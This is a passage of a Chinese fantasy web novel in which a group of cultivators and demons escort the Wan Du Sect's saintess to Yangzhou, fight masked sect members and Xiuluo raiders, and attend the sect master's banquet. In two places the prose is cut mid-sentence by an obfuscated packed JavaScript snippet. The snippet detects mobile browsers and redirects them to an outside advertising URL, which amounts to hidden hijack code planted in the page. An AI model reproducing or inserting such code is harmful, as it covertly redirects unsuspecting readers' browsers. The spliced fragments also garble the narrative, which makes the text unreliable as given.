隋垂枝闻言看了雾沅一眼,然后转头看向沈确,“你们在收集圣物吗?用来修补结界?” 沈确点了点头,“现下只剩天河之水和五彩之石了,相信我们很快便能解决人间的动荡了,只需要将无幻之境重新封印。” 隋垂枝垂眸,若有所思地说:“相传顒鸟精火至净至纯,神火之下排第一,可灼烧天下万物,其火生生不息,难以扑灭,但因顒鸟为万年大妖又常年居住于燃山焚野的炎火之地,鲜少有人见过,相传其样貌可怖,内丹坚硬,你们又该如何取到其中的精火?” 沈确蹙眉,神情有些凝重,“这个我也不清楚,不过师门会有解决的办法。” 隋垂枝复尔换上笑颜,“万毒门有一毒窟,其中蛊虫千奇百态,或许有爪牙坚硬者可助你们打开顒鸟内丹从而取到精火,只是存火的宝物可要仔细寻找,当心受伤,也以免酿成大祸。” 隋垂枝说完以后便想起了扬州的那场大疫,脸上抑制不住地流露出一丝痛苦和悔恨。 “隋姐姐,事情都过去了,你也失去了很多,也付出了代价,便不要再去想了。”沈确微微一笑,温声宽慰,“如果隋姐姐愿意帮忙的话,那真是再好不过了,只不过我们现下并未找到存火的宝物,怕是要去荆州去寻避火瓶。” 隋垂枝见沈确眼中的光又暗淡了下去,有些不忍地伸手抚了抚她的头发,“没关系的,万毒门也有避火的宝物,到时可一试。封印无幻之境,阻止修罗为患人间不仅仅是你们五行道宗的事情,更是整个修真界的事情。你们放心好了,万毒门不会坐视不理的。” 商扶庭不动声色地看了隋垂枝一眼,伸手轻抚了一番内府丹田的位置,然后快步走至了姜芜身侧,随口问道:“兽蛋该如何孵化?” 姜芜有些差异地看了一眼商扶庭,随即笑问道:“怎么?你觉得我像是那种养过幼崽的人吗?” 商扶庭垂眸,略略思忖了片刻,片刻后才说:“我总觉得你活了千万年之久,即便是没有养过,也该知晓一二。” 姜芜煞有其事地点了点头,“确实该如此,但是无幻之境中千百年以来诞生的修罗幼崽屈指可数,我们本是不屑于繁衍一事,所以我并不知晓幼崽该如何养育。雾沅为蝶妖,由虫破茧方能成蝶,所以他也不了解妖蛋该如何孵化,但是寂满却是从蛋中破壳出生的,所以这件事情去问雾沅才是最好不过的。” “为何?” 姜芜笑着说:“因为雾沅好说话,又同妖王一族交好,寂满同你不对付,即便是你去问他,恐怕他也不会同你认真讲。所以为了达成你的目的,还是去问雾沅比较好。” 商扶庭一怔,面上露出一丝愠色,“啰嗦。”说完,他便拂袖离开。 “雾沅兄弟,可否借一步说话?” 寂满见商扶庭走近,忍不住嘲讽道:“怎么还借一步说话,是有什么话我不能听吗?昨日你便使诈支开了我,我觉得我怎样也比你这个金丹期的小道士要强吧,你竟然敢嫌弃我弱?!” 商扶庭无言地看着寂满,随后抬眸看向了雾沅,神情诚恳。 雾沅了然,他笑着拍了拍寂满的肩膀,“我马上便来。” “嘿,你这个小道士怎么还撒娇呢?就摸准了雾沅吃软不吃硬是不是?你简直!无耻!” 寂满一边被姜芜扯着后襟,一边像倒豆子一样向商扶庭发起攻击。 雾沅看着寂满被姜芜带走,直到走出二人的听力范围,随后才对商扶庭说:“你想问何事?” 商扶庭理顺了一番思绪,试探地开口,“或许我这个问题对你来说有些冒犯,如果我取了妖兽的内丹,想要获得其中的精髓,要如何处置,妖兽的内胆真的如同所说的那般坚硬无比吗?” 雾沅眼角一抽,耐心地解释给商扶庭,“鳞甲类妖兽的内丹是最坚硬无比的,即便是你活剥了它们的内丹,在其表层也是覆盖着一片坚硬的鳞片。其实你是想问如何从顒鸟内丹中取得精火吧,其实你无需担心,你的师门应该有应对之法,你无需纠结。” 商扶庭点了点头,“还有一个问题,兽蛋该如何孵化?我日日将它温养在丹田内府之中可行?” 雾沅神情讶然,“你不怕耽误修行吗?” 商扶庭勾唇轻笑,“既然决定要扶养它,肯定是各方面都不会亏待它的,况且它从小离开了父母,缺少父母妖力的供养,长势和破壳会更加的困难。” 雾沅说:“商公子,你能这样想我很意外,我以为你会非常怨恨妖族。” “歼灭妖邪,只为保卫人间太平,妖族只要不越界,不做侵害人间之事,五行道宗便不会与妖族为敌,我自始至终恨得都只有修罗。” 商扶庭摇了摇头,他后退一步,正准备转身追上前面的几人,却发觉脚下的沙地一陷,随即像是有坚硬的物体咬住了他的脚踝。 “商公子!” 不等商扶庭反应,整个人便被缚妖锁扯至半空倒挂了起来。 雾沅神情一惊,立刻挥袖,一道黑紫色的光刃立刻缴断了束绳。 商扶庭迅速稳住身体,整个人平稳落地。 雾沅看向声源,随后扯着商扶庭躲到了一处岩石后,“有人往这边来了,我建议先躲躲,人妖两族边界偷渡者太多,不安定。而且,你也不想让人知晓,你此时跟妖类混在一起吧。” 商扶庭欲言又止地张了张口,随即便听到了几个人的交谈声。 程乙抄起地上断裂的缚妖锁,大声嚷道:“老三,怎么回事?不是你设置的机关吗?怎么断了?” 程甲上前看了一眼,神情凝重地说:“看这断裂的痕迹,应该是个大妖。” 程丙口中叼着根枯草,神情不屑地撇了撇嘴说:“大妖我们捉住了也没什么用啊,不好对付,也不好那出去卖钱。我们此行的目的可是为了修为低微的女妖啊。” 程乙神情惋惜地说:“可是这缚妖锁足足花了我们六十块灵石啊!” 程甲警惕地看了一眼四周,厉声道:“都别吵,我们先从昆仑山退出去,这几天先别进来了,估计也不会有小妖出现了。” 程乙见状,直问道:“老大,怎么了?” “我觉得那大妖还未走远,我们现在退出去,那条断了得缚妖锁就当作是替我们挡灾了吧。”程甲说,“大荒被封印之后,大妖一般只出现于腹地,像这种修为的大妖,不是我们能对付得了的,不知它一路来到两族边界是为何,总之我们先走。” 程丙吊儿郎当地说:“他来了又怎样,还能突破封印出去不成?” 程乙上前狠狠地敲了一下程丙的头,“老三,我看你是不想活命了!快跟我们走!” 程丙这才回过味来,立刻随着二人往大荒外退去。 雾沅垂眸,他抬手掐诀送了一道灵讯到了妖尊处。 商扶庭看了雾沅一眼,两人皆心照不宣地没有说一句话。 五日后,几人到达了扬州境内。 寂满钻出马车,十分畅快地抻了个懒腰,“终于不用再缩在马车里了,真是舒服啊。” 沈确撩开帘子,兴致冲冲地对隋垂枝说:“隋姑娘,我们到扬州城了,一起下车走走吧。” 隋垂枝笑着点了点头,扶着臃肿的腰肢下了马车。 姜芜将手中的话本子扔到一旁,支开窗页,散了散马车内引人昏睡的热气,她看向一旁入定的雾沅,“那日,小道士问你何事了?” 姜芜将杯中的残茶倒入香炉中,浇灭了正在燃烧的塔香,又码了冰盆,将整个车厢笼罩在自己的结界之中,轻摇着团扇为自己的散热。 雾沅缓缓地睁开了双眸,如实道:“如何孵化兽蛋,以及如何破除妖丹外的结界。” 姜芜看着窗外逐渐繁华的街景,笑盈盈地说:“那你告知他了吗?” 雾沅摇了摇头,“并没有告知全部。” “人类与妖族在修行一事上本是同宗,依靠灵气而淬体,充盈经脉。所以妖丹对于修道者来说也是大补之物,可是很多修道者都不知晓的一点便是妖丹要活取,死妖的妖丹,其中的灵气会损失大半,不如活取。同样的道理,修道之人的金丹对于妖族来说也是一样的。但是,这么重要的一件事情却没有在修真界和妖界流传开来,只因为发现不足百年的时间吗?” 姜芜说完,伏在窗棂上回身朝着雾沅浅浅一笑。 雾沅想到自己惨死的同族,神情痛苦地合上了双眸。 姜芜合上窗页,斜斜地靠在了手扶上,“雾沅,你看过话本子吗?有兴趣同我演一场戏吗?” 雾沅双唇轻启,声音颤抖,“你想要什么?我的妖丹可以满足你吗?” 姜芜笑而不语,随即她起身撩开挡风的棉帘,对驾车的商扶庭说:“小道士,在扬州城内找最大的家酒楼落脚。” 商扶庭手持缰绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106428|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,神情有些不解,“我们不是要将隋姑娘送回万毒门吗?” 姜芜伸手撑在商扶庭的肩背上,身子前倾探头看着他,“总要先修整一番吧,只是将她送回万毒门而已,可没说我们要留宿万毒门啊,你对万毒门了解多少?” 商扶庭如实告知,“了解不多,万毒门兴起不过百年,门下教徒众多,我只知晓掌教的是个年轻有为、颇有腕力的男子,年中长衡山风华大会时曾见过一面,修真界都称他为毒公子,相传此人用毒了得,制毒养蛊更是无人能及,但是以长纱斗笠遮面,所以我并不知晓他是何模样。” 姜芜表现出了莫大的兴趣,“你有兴趣去瞧瞧吗?或许还会有奇遇呢。” 商扶庭抬眸看了姜芜一眼,却被她漂亮的双眸晃了神,他迅速偏开了视线,慌里慌张地说:“我们本就要送隋姑娘回万毒门。” 姜芜双眸一眯,审视般地扫了商扶庭一眼,随后起身回了马车内。 扬州地界此时有了回暖的迹象,枯枝抽条,迎春绽花,四处花雪相融,气息沁人心脾。 商扶庭将马车停在了扬州府最大的客栈明月楼前,一条水渠从前而过,青石路上到处都是叫卖的小贩和走街串巷的货郎。 清晨之时,薄雾萦绕于水面之上,天光点丹红绘墨青,勾勒出一副简单的山水画。 姜芜下车后直奔一家麻花店,包了一斤麻花,刚出炉的麻花还有些香软,带着芝麻的醇香,放冷之后变得酥脆,咀嚼之时口齿留香。 姜芜颇为豪气地在明月楼包了五间上房。 寂满目瞪口呆地看着姜芜,紧追着她上楼,“你出手好阔绰啊,哪里来的那么多钱啊?” 姜芜从纳袋中取了一只荷包扔给寂满,“玩得开心一些。” 寂满看着手中鼓鼓囊囊的荷包,不敢置信地问道:“就这么给我了?你哪里来得这么多钱?你在人间有产业吗?” “无幻之境内有矿石,我会拿一些来人间卖。”姜芜说,“好了,你们先修整一番,一个时辰之后我们便出发前往万毒门。” 姜芜走进房间,先是开窗散了一番其中的潮意,随后又唤小二将浴桶内添满冷水。 店小二拎着水桶看了姜芜一眼,最终还是关切地问道:“姑娘,你是要沐浴吗?这种天洗冷水澡的话,估计会着凉。” 姜芜将零嘴放在了桌上,对镜散开了自己的发髻,闻声从镜中看了店小二一眼,唇角勾出一丝浅浅地笑容,“谢谢关心。” 店小二双颊一红,急急忙忙地说:“那我就不打扰您了。”说完,他便拎着水桶退了出去,顺便将房门关上。 姜芜用梳子将长发梳顺,起身慢条斯理地转到屏风后将身上的衣物脱下,她做足了心理准备才瑟缩着进入了浴桶。 “呼......” 姜芜小口呼吸着,红润的嘴唇因为水温而泛起了紫,她双手环肩,缩在浴桶的边缘。 随着水温逐渐上升,姜芜舒展开身体,有些疲惫地伏在浴桶壁上,她看着缓慢合上来的房门,满意地笑了起来。 隋垂枝借用沈确的房间换了一身宽大的襦裙,遮住了自己明显的肚腹,外侧披上了特质的披风,将自己周身的毒气重新遮掩了起来。 寂满坐在桌前,往嘴里扔着剥好的花生米,漫无目的地看着窗外,片刻后将花生米弹到了商扶庭身上,“喂,小道士,扬州地界有什么好玩的啊?” 商扶庭垂眸抿了一口热茶,抬手扫了扫衣服上的碎屑,“临近元日,好玩的地方很多,灯会、游湖、投壶、射箭,猜字谜等等。” 寂满搓了搓自己的下巴,“听起来确实比大荒的元日要有趣一些。” “你如果想,也可以抄几个字谜回去,买一些小玩意当作彩头,让小花精他们去猜。” 雾沅的话音刚落,原本热闹的街道突然冷清了下来,明月楼的食客也纷纷留下饭钱,匆匆离开,仿佛在躲避何等的洪水猛兽。 寂满不解地看着鱼贯而出的众人,“哎哎哎?这是怎么了?发生什么事情了?” 几个黑衣人持刀鱼贯而入,一道奇异的熏香迅速卷到明月楼的每个角落。 商扶庭和沈确顿时觉得四肢无力,头脑昏沉提不起精神。 寂满见状,立刻拍桌而起,“你们是什么人?对他们做了什么?” 为首的黑衣人,身着黑色软甲劲装,口鼻掩盖于精铁面具之下,他双眸一眯,侧身去看寂满和雾沅,斩钉截铁地说:“妖。” 寂满抿紧了双唇,神情警惕地看着面前的人。 “给我拿下!” 19. 打窝 淬了毒的银针在李先寻挥手的下一刻,如同暴雨一般冲向了二人。 雾沅腾空而起,妖力化风将他的衣物吹至翩飞,如同一只巨大的黑色蝴蝶。 刹那间,所有的银针在空中顿住。 寂满单手撑桌,依靠着桌面冲了出去,他虚空一握,长剑直接斩碎了空中的银针。 李先寻见寂满冲到身前,抬手握拳,手腕的护甲内立刻弹出利刃,迎空挡住了寂满的长剑。 四周的黑衣人纷纷上前将寂满围在其中。 寂满扫视了一圈周围以精铁覆全面的黑衣人,冷笑了一声,“以为这样小爷我就会怕了吗?” 黑衣人蜂拥而上。 寂满抬腿踢向李先寻,随即旋身挥砍向周围的黑衣人。 他们似乎没有疼痛一般,在寂满狂风暴雨般地招式之下没有一丝的迟钝和后退,甚至还有力气同他周旋。 李先寻从战局中退了出来,他抬眸看了一眼不远处的雾沅,“你的修为似乎很高,活捉你回去,门主一定会非常的高兴。”说完,他便身法飞快地冲向了雾沅。 雾沅抬手掐诀,结界张开挡住了李先寻的进攻,“明知山有虎,偏向虎山行吗?” 雾沅猛得握拳,紫黑色的法术直接将李先寻弹了出去。 “且慢!” 隋垂枝缓步从二楼走了下来,“李护法且慢。” 姜芜抬手将房门打开一条缝隙,瞬息之间将雾沅和寂满转移到了房间内,并示意二人噤声。 寂满活动了一番肩膀,“奇也怪哉,那些人居然不会觉得痛,我还是第一次遇到这种奇怪的人,他们真的是人吗?” 李先寻抬手施礼,“圣女,您能回来真是门中幸事,门主让我来接您回去,只不过让刚刚那两只妖怪跑了。” 隋垂枝摇头,“现下最主要回门内,那两位五行道宗的是我的朋友,还请李护法给他们二位解毒。” “遵命。” 姜芜见状对寂满和雾沅说:“化为原型,我带你们二人进万毒门。” 寂满不解地问道:“为什么是你带我们进,而不是我们自己进?” 雾沅已经化为了一只普通的蝴蝶,扇动翅膀落在了姜芜发髻中的银钗上。 “万毒门对妖的态度,你还不明了吗?由我带你们进去,只是为了减少不必要的是非冲突而已。”姜芜耐心地解释着,她垂眸看了一眼楼下的情况,“能不能找出霰雪蝶灭族的原因,就看你今日是否配合了。如果你愿意的话,我也可以陪你杀穿万毒门,只是这样做,我们恐怕一点线索都没有。” 寂满咬牙,振臂收了双剑,随即化成一条小蛇缠在了姜芜的手腕上。 姜芜笑着捻了捻蛇尾,“真是个乖孩子啊。” 寂满张嘴咬到了姜芜的手腕上,用上了全部的力气也只是留下了两颗小小的牙印,“不准捏我尾巴!” 商扶庭起身,先是神情警惕地看了一眼李先寻,随后才伸手将沈确扶了起来,“师妹,你还好吗?” 李先寻此时才一副恍然大悟的模样,他伸手略略抱拳,声音略显轻浮,“原来是长衡山五行道宗的双璧,久仰大名。” 商扶庭寒着脸点了点头。 沈确攀着商扶庭的手臂,神情有些担忧,“师兄?” 隋垂枝朝着二人走近几步,“今日之事,是李护法无礼在先,我代他给二位陪不是了,还请二位随我前往万毒门,从大荒至此,二位对我多有照顾,到了扬州还请允我尽地主之谊。” 商扶庭垂眸看了沈确一眼,随即点了点头,“允许我喊着姜前辈。” “不劳烦了。” 李先寻蹙眉,并未回忆起五行道宗有哪位道尊大能俗姓为姜,只见楼梯上缓步走下来的一位女子,模样不过二十岁出头,洁白如雪的外袍内是糜艳夺目的深红,修为之高无法感知到其境界。 亦或是一个得了机遇、气度出众的普通凡人。 “姜前辈?”李先寻狐疑地看着姜芜,“不知,姜前辈出自何门何派?师承哪位道尊,我为何不知修真界有您这么一位,修为高深又深居简出之人?” 姜芜面不改色地说:“万毒门的待客之道似乎有些非同寻常,虽然喊我前辈,语气里却没有半点尊重?” 李先寻面色阴沉,“虽然你们是圣女的友人,对圣女有恩,但是万毒门也不是何等随随便便的人可踏入的,尤其是来历不明者。” 隋垂枝面露难色,一路上她曾找准时机询问过沈确姜芜的来历,后者也只是支支吾吾没有说出个所以然来,只是给了隋垂枝一个含糊其辞的说法。 “一个同行的高人。” 沈确无意欺骗或者隐瞒隋垂枝,只是商扶庭叮嘱过她,为了一些不必要的麻烦,不要告诉任何人有关姜芜身份的事情。 隋垂枝没有阻止李先寻的逼问,她总觉得摸清对方的底细,才能令人心安,怕只怕修为过高变数太多,导致计划落空。 姜芜伸手理了一番广袖,“修真界几千年的历史,其中的道尊大能,敢问李护法都能道上一二吗?” 隋垂枝开口道:“李护法乃我万毒门百事通,若姜前辈报上大名,他未必不知。” “好啊。” 姜芜浅笑,她抬起右手,轻风打着卷旋转于她的掌中,夹杂着细微的气爆声,一支四寸长的白玉手柄在她手中浮现。 “李护法,你认识这个吗?” 姜芜将手柄握在手中,一条近三米的长鞭从手柄的一端瞬间飞出,击落了李先寻脸上的精铁面具,另一端弹出了一支六寸长剑。 隋垂枝一惊,“李护法!” 李先寻立刻偏头躲过,他抬手擦了一下脸颊上的血痕,咬牙道:“无心乱?你是姜芜?” 姜芜唇角勾起得弧度更深,“看来这些年,我依旧盛名在外,是多亏了我那个好师弟还是我手中的这把武器?” 李先寻阴笑道:“你师弟段怀野随身死神销,盛名在外不假,但你手中用修罗骨做成的武器也不差,你销声匿迹这几百年,整个修真界还以为你随段怀野一同殉道了呢。” 商扶庭一惊,他抬眸看向姜芜,一时惊诧地说不出话来,他不曾想过姜芜同师祖居然还有这么一层关系。 姜芜垂眸,脸上笑意不变,“所以,现下可以前往万毒门了吗?” 李先寻侧身,“门主已经摆好了宴席,就等各位入座为各位接风洗尘,请。”说完,他撑开了一柄垂着黑纱的伞。 隋垂枝身形一愣,一股寒意开始在她的体内流窜。 李先寻剥开黑色垂纱,抬眸看向了隋垂枝,“圣女,请。” 隋垂枝动作僵硬地走进了黑纱伞之中,黑纱垂落,将她与自由天地隔绝,从此她的世界便只剩四方大小,那里不会有鸟经过,也不会有花盛开。 她的生命是戛然而止的风。 明月楼外停放着四座步辇。 “门主有心。” 姜芜率先走了出去。 商扶庭欲言又止地看着姜芜,但此时并不是向她追问的好时机,只能暂时按下不表。 一阵尖叫声袭来。 姜芜沉默地看着摔在脚边血肉模糊的尸体碎块,脸上难得收敛了笑容。 “修罗来袭,注意警戒!” 黑衣修罗从远处袭来,两名轿夫的头颅顿时爆开,鲜血和脑浆喷了一地,他旋身折返,直扑姜芜。 姜芜抬眸,在黑衣修罗的手伸向她时,她抬手扼住了后者的手腕,随即拉开步伐将他甩了出去。 黑衣修罗神情一惊,立刻调整好身体落地,他有些差异地看着姜芜,面上流露出一丝的疑惑。 李先寻立刻上前,他的护腕处弹出双爪,一声呼哨落下,四周的佩戴着玄铁面具的万毒门人立刻跟随他上前。 季易很快将疑惑抛至脑后,专心面对起面前的李先寻,“听说你们万毒门刚炼制出了一些宝贝,我和我的朋友们特意来找你们玩玩,但是现下看来似乎不是时候。” 李先寻双眸一眯,将真元灌注于利爪之上,一招一式直逼季易要害。 “季易,我们曾约定过的,不侵犯凡人的城池,你违规了。” “呵。”季易躲开李先寻的招式,趁后者空门大开,一掌拍向后者的胸口,“我们修罗有那么讲信用吗?” 李先寻的身体像是一只断了线的风筝,从半空坠落在地。 三四个修罗落于长街四周的屋顶上,一脸戏谑地看着明月楼前的几人,仿佛在看一些有趣的小玩意。 “李护法?!” 商扶庭见状立刻提剑而出,他右手握剑,左手掐诀,天地之间风云骤变,乌云迅速凝聚在一处,阴沉沉地向地面压了下来,一道惊雷从乌云之中落下,附着于太初剑之上。 商扶庭挥剑,太初剑意带着滚滚天雷直逼四周的修罗。 姜芜抬眸看着天地之间的异象,“金丹期的修士竟然可以做至如此吗?” “师兄!” 沈确正准备出门帮忙,却被姜芜呵斥在内。 “待在里面,不要出来白白送死。” 姜芜看了眼状况,垂眸思忖了片刻,最终幽幽地叹了口气,她甩出长鞭将商扶庭剑下的修罗卷起甩出,随即飞身而来。 “你做什么?”商扶庭神情愤怒地看着姜芜,他身上负伤,体内的真元几近枯竭,“你要去帮他们?我现下便会杀了你!” 姜芜挑眉,她抬手覆在商扶庭的肩上,不动声色地为他疗伤,“年轻人,气性别那么大。我只是不希望你们做不必要的牺牲,毕竟我们来此地有要事做。” 姜芜说完将商扶庭推向明月楼,只身走了出去,她俯身将重伤的李先寻扯了起来。 “还能动吗?” 李先寻捂着自己的胸口,狐疑地看了一眼姜芜,“你要出手?” 姜芜睨了李先寻一眼,“难道要看着你们送上前?恐怕连给他们塞牙缝的都不够。” 季易也不着急上前,站在屋顶上看着姜芜飞身而上,“方才便觉得你熟悉,你到底是谁?修罗?人?还是妖?” “说实话,我还没想好要说什么。”姜芜虚空一握,将无心乱甩出,“这样吧,你们一起上,我保证留你们一命。” 季易一愣,有些不解地看向姜芜,随即嗤笑道:“我们今日只是想来给万毒门找些麻烦,没想着跟你硬碰硬。” 姜芜把长鞭拢在一处,一下又一下地敲着自己的掌心,“我今日寻万毒门也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106429|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点小事,要不你们改日再来?能不动手那是最好不过的。如果你们非要想动手,也不是不可以,就是有些耽误时间,但是我并不想暴露身份。” 季易走近,他垂首轻嗅了一番姜芜身上的气息,“我似乎知道你是谁了,你的气息很熟悉。” 姜芜收起了无心乱,脸上挂着冷漠又疏离的笑容,“代我向修罗王问好。” “估计他老人家不想听到您的问好。”季易后退几步,将其余的修罗招呼到身侧,“今日的麻烦找不成了,我们先走,改日再来。” 季易暗暗割破手掌,在转身之时挥手朝姜芜撒去。 姜芜躲闪不及,被季易的血撒了一脸,她抬眸看向季易,面无表情地挑了一下眉毛,随即唤了水镜,用帕子慢条斯理地擦拭起脸上的血迹。 季易笑着说:“下次再见。” 姜芜把占了血迹的外袍脱下丢至一旁,从纳袋中取了件金线墨色披肩。 扬州城外,太湖之上,便是万毒门所在。 抬轿辇的轿夫腾空而起,直奔云海之中,拨开云团,正午的烈日在万毒门的城池之后散发着耀眼的光芒。 众人的轿辇在万毒门前落地。 姜芜率先下轿,她看了一眼悬在半空中的城池,开口道:“这颠倒乾坤之术,非大乘期修士难成,这万毒门倒是卧虎藏龙。” 李先寻说:“并非如此,此城并非大乘期修士所建,而是门主的秘术。虽然精妙,但也是需要消耗各种天材地宝维持。” 姜芜从未听说过此等秘法,心中难免对这个未曾谋面的万毒门门主起了兴趣,“门主倒是个能人异士。” “各位,我们进去再说吧,莫要让门主久等。”说完,李先寻便引着众人前往万毒门正厅。 隋垂枝手持黑纱伞紧跟其后。 商扶庭上前拉住欲走的姜芜,忍不住问道:“你今日怎么回事?” 姜芜不以为然地说:“你说的哪一件?你师祖是我师弟的事情吗?那不过是方面打赌的一句玩笑话而已,也只有你师祖放在心上了,这么多年以我的师弟自称,真是便宜他了。” “明知故问。”商扶庭蹙眉,神情不悦,“休要辱我师祖,他们二人呢?” “无需担心,莫要让主人家等急了才是。”说完,姜芜伸手拂下商扶庭的手,转身往内走去。 雾沅扇动了一番自己的翅膀,“你欲如何?” 姜芜放轻了声音,“等我先见见这位门主,然后坐等鱼儿上钩。” 雾沅问道:“鱼儿如何上钩?” 姜芜说:“饵已经撒出去了,便看后续他们有何动作。” 寂满从姜芜的袖口内探出头,“你们在讨论何事,我为何一句也听不懂?” 姜芜点了点寂满的蛇头,笑得高深莫测,“一会你便知晓了。” “姜芜,你体温好高,我真的好热。”说完,寂满吐出信子散热。 “忍忍吧。” 【万毒门前殿】 隋垂枝单手提起裙摆,微微俯身施礼,“门主,我回来了。” 戚诃一身黑袍坐于主位之上,血红色的绸缎组成的繁花坠于其衣摆,墨发束成发髻,冠了银制的简冠。 戚诃虽为男子,却生着一张雌雄莫辨的脸,因年少成名,自立门派并发扬光大,期间手段虽算得上高明,但也是出了名的心狠手辣。 李先寻上前,对戚诃低于道:“五行道宗的人来了,还有姜芜。” 戚诃抬手示意李先寻退下,开口道:“圣女,上前来。” 隋垂枝收了黑纱伞,走到戚诃面前伏地跪坐,“门主。” 戚诃伸手抚摸着隋垂枝的长发,“圣女,你做得很好,他将来会是天生的毒体圣童,母亲是万毒门的圣女,父亲却是带有神籍的妖物,我很期待他的出生。” 隋垂枝蹙眉,她伸手抚摸上了一直不曾碰过的腹部,这个孽种在她的身体里整整五个月了,无时无刻不在提醒着当初的荒唐。 “门主,我能不留下他吗?” 隋垂枝靠在戚诃的膝头,声音发闷。 “为何?” 隋垂枝抬眸去看戚诃,眼神中充满了眷恋和期待,她跟在这个男人身边时他才二十岁出头,而她不过也才八九岁的年纪。 面前的这个男人,既是救命恩人也是父亲,是兄长更是崇拜之人。 “我从小到大都没得选,也没有重新来过的机会,这次我想自己选一次,从头开始,我不想留下他。”隋垂枝语气诚恳,言之凿凿,情之切切,“我想回到从前,我想那一切都是一场梦。” 戚诃看着隋垂枝,眼神中闪过一丝冰冷,动作轻柔地抬起了她的脸,用拇指揉搓着她的下巴,似是抚慰,“那枝枝觉得那是美梦还是噩梦呢?” “噩梦,是我一直想醒来的噩梦,因为醒来便会忘记了,我只要待在门主身边就好。” 隋垂枝合上了双眸,乖顺得靠在戚诃的掌中。 戚诃说:“那便当做是一场噩梦吧。” 隋垂枝睁开双眸,轻轻蹭了蹭戚诃的掌心,“门主,我得到了顒鸟精火和息壤之土的下落,应该可以助您达成夙愿。” 戚诃双眸中闪过一丝精光,“是吗?” 20. 私心 隋垂枝抬眸,她神情期盼地看着戚诃,“是的,他们就在五行道宗的两个弟子身上。他们已经来到了门中做客,门主现在要去见见他们吗?” 戚诃漫不经心地抚摸着隋垂枝的长发,“他们寻那些东西做何事?” 隋垂枝如实道:“据说是修补无幻之境的封印。” 戚诃闻言松开隋垂枝,起身向一旁踱去,“枝枝,我之夙愿经年累月,不求这一时半刻。既然他们已经来到了门内,便好好招待,莫要怠慢了他们。” 隋垂枝蹙眉,“为何?门主夙愿完成在即,为何要放过这个大好的机会?” 戚诃回身看着隋垂枝,“天下大义和个人私情,我还是分得清的,此事情休要再提,一路舟车劳顿,先下去休息吧。” “谨遵门主吩咐。” 隋垂枝伏地跪拜,随后起身退了出去。 戚诃目光沉沉地看着隋垂枝的背影,心绪杂乱。 姜芜一行人被侍女引到了偏殿,端了几盘扬州城的特色点心与水果,便请他们稍作休息。 沈确漫无目的地在偏殿内闲逛着,四处打量着这里的装潢,“师兄,你说……” 沈确兴致冲冲地转身,见商扶庭目光阴沉,脸色并不好看,也就没有将口中的话继续说下去。 商扶庭实在是不理解姜芜今日的所作所为,再加之没有得到一个合理的解释,只能一个劲地沉着脸与自己赌气。 姜芜把腕间的黑色小蛇放了出来,将瓷碟里的松饼掰成小块放在小蛇面前,示意它去吃。 寂满低头嗅了嗅面前酥软多孔的松饼,抬起蛇头去看姜芜,绿豆一般大小的双眸清澈又透亮。 “你怕有毒吗?” 姜芜笑看着寂满,毫不在意地掰了一块松糕放进口中,“就算有毒,堂堂寂满大王还会怕人类的毒吗?” 寂满弓起了蛇身,像是赌气一般吞掉了桌上的松糕。 商扶庭抬眸看了姜芜一眼,“你倒是胃口不错。” 姜芜挑眉,她拉过盛放着松子的彩釉碟,一连剥了七八个松子放在了商扶庭面前,“算作给你赔不是了。” 商扶庭的双眸蹙得更深了,他刚要开口斥责,却见李先寻走了进来。 “姜前辈、商道友、沈道友,我家门主在前厅设宴,请三位前往,粗茶淡饭为三位接风洗尘,聊表谢意,还望各位莫要嫌弃,一定要前往。” 姜芜起身扫了扫手上的点心碎屑,将寂满抄起拢进了广袖中,“那便麻烦李护法带路吧。” 李先寻抬手抱拳,随后侧身请姜芜三人先走。 沈确有些举棋不定地看着商扶庭。 商扶庭怨恨般地看了一眼姜芜,随即取过放置在一旁的太初剑也跟着走了出去。 沈确急忙跟了上去。 正厅内已经摆好了矮几,上面摆放着各种餐前小菜,戚诃和隋垂枝已经落座,见三人前来起身迎接。 商扶庭和沈确并肩走入厅中,随即持剑朝戚诃行礼,“戚门主。” “二位请坐,一路辛苦了。”戚诃见到二位身后的姜芜,特意从矮几后绕出来,“这位便是姜前辈了吧,还请入座。” 姜芜勾唇一笑,“门主好意,却之不恭。” 李先寻见众人落座,便抬手让侍女上主菜。 几名侍女手中端着餐食和酒壶鱼贯而入,跪坐在用饭人身侧将主菜与餐具摆好,并将酒壶中的液体倒入杯中。 戚诃解释道:“这是扬州特有的清露,万毒门用又浸入了各类灵药,对修道之人百利而无一害,尤其是对于灵修,沈小友可以多喝一些。” 姜芜捻住酒杯,看着身旁布菜的貌美侍女,对着戚诃隔空一敬,“谢过门主好意,门主有心了。” 戚诃垂眸轻笑,“该是我谢过三位才是,毕竟没有三位的鼎力相助,门中圣女未必能从大荒腹地的妖物手中全须全尾地回归。” 隋垂枝已经换了一身墨色长袍,发髻和面容均以黑纱覆盖,银饰闪着光似河流一般倾淌而下,只露出了一双众人熟悉的双眸,与之前平易近人的模样天差地别。 “垂枝今日在此谢过各位,此杯我先饮尽,诸位随意。” 隋垂枝说完,便将杯中的清露一饮而尽,并翻转手腕将杯底展示给在坐的各位。 沈确忧心忡忡地看着隋垂枝,此时她只觉得面前的这位万毒门圣女除了容貌之外同她所认识的隋垂枝大相径庭,圣女美艳、冰冷、不苟言笑、拒人千里之外,但沈确也只是默不作声地喝完了杯中的清露,心中五味杂陈。 